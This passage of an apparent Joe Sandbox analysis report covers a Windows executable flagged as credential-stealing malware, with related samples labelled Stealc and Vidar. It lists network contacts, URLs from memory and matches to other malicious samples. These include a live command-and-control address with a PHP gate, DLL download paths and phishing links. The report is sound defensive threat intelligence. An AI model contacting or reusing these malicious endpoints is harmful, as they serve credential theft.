https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340275778&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340275078&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://sb.scorecardresearch.com/b2?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340275081&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730340276088&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://sb.scorecardresearch.com/b?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_473.4.dr	false	URL Reputation: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://ntp.msn.com/0	000003.log9.9.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpeam	file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	false	URL Reputation: safe	unknown
https://www.last.fm/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_477.4.dr	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
https://www.youtube.com	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://www.google.com	chromecache_473.4.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		unknown
https://www.instagram.com	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://web.skype.com/?browsername=edge_canary_shoreline	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://drive.google.com/	manifest.json0.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://www.messenger.com	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://i.y.qq.com/n2/m/index.html	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://www.deezer.com/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://web.telegram.org/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://vibe.naver.com/today	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll465cf17784/vcruntime140.dlla	file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_477.4.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.php3&	file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		unknown
https://www.tiktok.com/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phplL	file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	HCFBAFIDAECAKFHJDBAFIEBKKK.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	false		unknown
https://msn.comXIDv10	Cookies.10.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://y.music.163.com/m/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://bard.google.com/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://clients6.google.com	chromecache_477.4.dr	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://web.whatsapp.com	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://m.kugou.com/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://www.office.com	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://outlook.live.com/mail/0/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FCFBFBFBKFIDHJKFCAFC.0.dr	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2482500766.000000006C891000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2041928747.00000000053BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://powerpoint.new?from=EdgeM365Shoreline	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpp	file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tidal.com/	96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	false		unknown
https://ntp.msn.com	000003.log3.9.dr, 2cc80dabc69f58b6_0.9.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.206	play.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.50.151	unknown	United States	16625	AKAMAI-ASUS	false
108.156.211.59	unknown	United States	16509	AMAZON-02US	false
142.250.186.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.42.65.90	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
4.150.155.223	unknown	United States	3356	LEVEL3US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.198.7.179	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.184.238	plus.l.google.com	United States	15169	GOOGLEUS	false
23.221.22.215	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545807
Start date and time:	2024-10-31 03:03:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/293@29/23
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.250.186.142, 74.125.71.84, 34.104.35.123, 142.250.185.227, 172.217.16.202, 172.217.16.138, 216.58.206.74, 142.250.186.42, 142.250.185.234, 142.250.186.138, 142.250.186.74, 216.58.206.42, 142.250.74.202, 216.58.212.170, 142.250.186.170, 142.250.184.234, 142.250.184.202, 142.250.186.106, 142.250.181.234, 172.217.18.10, 142.250.185.74, 142.250.185.202, 216.58.212.138, 142.250.185.170, 142.250.185.138, 142.250.185.106, 2.20.245.136, 192.229.221.95, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.186.46, 13.107.6.158, 108.141.15.7, 2.20.245.139, 2.20.245.132, 88.221.110.179, 88.221.110.242, 2.23.209.130, 2.23.209.187, 23.38.98.114, 23.38.98.73, 23.38.98.107, 23.38.98.100, 13.74.129.1, 204.79.197.237, 13.107.21.237, 4.209.164.61, 2.20.245.135, 2.20.245.140, 2.19.126.151, 2.19.126.157, 23.53.127.106, 23.53.127.107, 93.184.221.240, 2.19.126.145, 2.19.126.143, 142.250.115.94, 142.250.113.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, prod-agic-we-6.westeurope.cloudapp.azure.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, c
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:04:28	API Interceptor	60x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.1.248.118	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30295.4008.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.2497.16579.exe	Get hash	malicious	RisePro Stealer	Browse
20.125.209.212	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
162.159.61.3	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.154.84.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Stealc	Browse	94.245.104.56
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	20.2.249.7
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	Arquivo_4593167.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.189.173.26
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	104.47.64.28
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Stealc	Browse	94.245.104.56
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	20.2.249.7
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	Arquivo_4593167.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.189.173.26
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	104.47.64.28
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Stealc	Browse	94.245.104.56
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	20.2.249.7
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	Arquivo_4593167.msi	Get hash	malicious	AteraAgent	Browse	40.119.152.241
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.189.173.26
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	104.47.64.28
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	150.171.27.10
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	104.47.64.28
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	172.67.154.67
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	104.21.32.196
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	104.26.0.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
